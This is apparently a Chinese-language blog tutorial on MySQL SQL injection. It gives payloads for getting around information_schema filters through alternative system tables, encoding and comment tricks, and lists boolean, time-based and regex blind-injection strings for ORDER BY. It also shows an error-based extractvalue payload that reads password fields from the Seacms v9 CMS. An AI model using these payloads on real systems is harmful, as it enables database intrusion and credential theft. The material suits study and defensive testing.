绕过信息过滤与注入限制

news/2025/2/28 19:13:32/

绕过 information_schema 过滤

information_schema 是 MySQL 中存储元数据的系统数据库,常用于 SQL 注入中获取表名、列名等信息。当 information_schema 被过滤时,可以通过以下方法绕过。

1 替代视图

使用 sys 库(MySQL 5.7+)

sys 库是 MySQL 5.7 及以上版本提供的系统库,包含丰富的元数据信息。

数据库中:SELECT table_name FROM sys.schema_auto_increment_columns 
WHERE table_schema = DATABASE();

mysql.innodb_table_stats 表存储了 InnoDB 表的统计信息,可用于获取表名

数据库中:SELECT table_name FROM mysql.innodb_table_stats 
WHERE database_name = DATABASE();

2 编码混淆

通过编码混淆关键字,可以绕过简单的字符串过滤。

方法eg
URL%69%6e%66%6f%72%6d%61%74%69%6f%6e%5f%73%63%68%65%6d%61
Unicodeinformation\u005f_schema
十六进制0x696e666f726d6174696f6e5f736368656d61

3 语法变形

通过语法变形,可以绕过对关键字的直接过滤。

内联注释绕过

数据库中:

SELECT table_name FROM /*!information_schema*/.tables;

关键字分割

数据库中:

SELECT table_name FROM information/**/_schema.tables;

绕过 ORDER BY 注入限制

ORDER BY 注入是一种常见的 SQL 注入类型,通常用于盲注场景。以下是几种绕过限制的方法。

1 联合查询注入

通过联合查询,可以直接获取数据。

2 盲注技术类型

布尔盲注ORDER BY IF(ASCII(SUBSTR(DATABASE(),1,1))=97,1,2)
时间盲注ORDER BY IF(ASCII(SUBSTR(DATABASE(),1,1))=97,SLEEP(5),1)
正则匹配ORDER BY (SELECT table_name) REGEXP '^a'

3 分页提取数据

通过 LIMIT 和 OFFSET 分页提取数据

数据库中:

ORDER BY (SELECT table_name FROM information_schema.tables LIMIT 1 OFFSET 0);

Seacmsv9 报错注入:

Seacmsv9 是一款常见的内容管理系统,曾存在报错注入漏洞。以下是漏洞利用过程与分析。

1 漏洞利用过程

通过构造恶意请求触发报错注入。

2 报错结果分析

成功回显数据库

密码字段截断处理

通过 MID() 函数分段读取密码字段

数据库中:extractvalue(1,concat_ws(0x20,0x5c,mid((SELECT password),1,30)))

3 常见问题排查

权限不足

字段过长

特殊字符


http://www.ppmy.cn/news/1575574.html

相关文章

【Deepseek】根文件系统挂载在/dev/sda1下,如何对其扩容

1. 扩展虚拟磁盘大小 首先,需要在虚拟机管理工具中扩展虚拟磁盘的大小。以下是常见虚拟机工具的扩展方法: VMware: 关闭虚拟机。在 VMware 中右键虚拟机 -> 设置 -> 硬盘 -> 扩展,调整磁盘大小。启动虚拟机。 VirtualBox: 关闭虚拟…

【idea】关于idea中新建springboot项目Java版本不能选择11和8的解决办法

原因: spring2.X版本在2023年11月24日停止维护了,因此创建spring项目时不再有2.X版本的选项,只能从3.1.X版本开始选择 而Spring3.X版本不支持JDK8,JDK11,最低支持JDK17,因此JDK11也无法选择了 当然&…

Scala 字符串插值的简单介绍

在 Scala 中,字符串插值是通过在字符串前添加特定前缀实现的,主要有三种标准插值器:s、f 和 raw。它们的核心用法如下: 1. s 插值器(简单插值) 作用:将变量或表达式直接嵌入字符串。语法&#…

Python生成器250224

是由函数与yield关键字创造出来的写法,在特定情况下,可以帮助我们节省内存执行一个生成器函数,函数体代码不会运行,会返回一个生成器对象要想执行函数体内容,就需要使用这个生成器对象来执行 def func():print(123)yi…

Unity学习笔记之——ugui的性能优化

在Unity中UI优化的核心问题就是重绘和批处理之间的平衡 一、Canvas优化要点 1.优化原因: (1)Unity为了性能优化,会合并Canvas下的所有元素; (2)如果把所有面板放到一个Canvas下,会…

蓝桥杯 5.字符串

蓝桥杯 5.字符串 文章目录 蓝桥杯 5.字符串KMP&字符串哈希Manacher编程138-148字典树基础01Trie编程149-155 KMP&字符串哈希 KMP算法 字符串匹配算法, 用于匹配**模式串P(短)和文本串S(长)**中出现的所有位置, 例如, S “ababac”, P “aba”, 那么出现的所有位置就…

Imagination通过最新的D系列GPU IP将效率提升至新高度

Imagination DXTP GPU IP在加速移动设备和其他电力受限设备上的图形和计算工作负载时,能够延长电池续航时间。 英国伦敦 – 2025年2月25日 – 今日,Imagination Technologies(“Imagination”)宣布推出其最新的GPU IP——Imagina…

NTS库学习,找bug中......

基础知识 Coordinate: 表示一个二维坐标点,包括 X 和 Y 坐标值。 CoordinateSequence: 由一系列 Coordinate 对象组成的序列,可以表示线、多边形等几何对象的顶点。 CoordinateFilter: 用于对几何对象的坐标进行过滤或修改的接口。 Geometry: 表示一个几…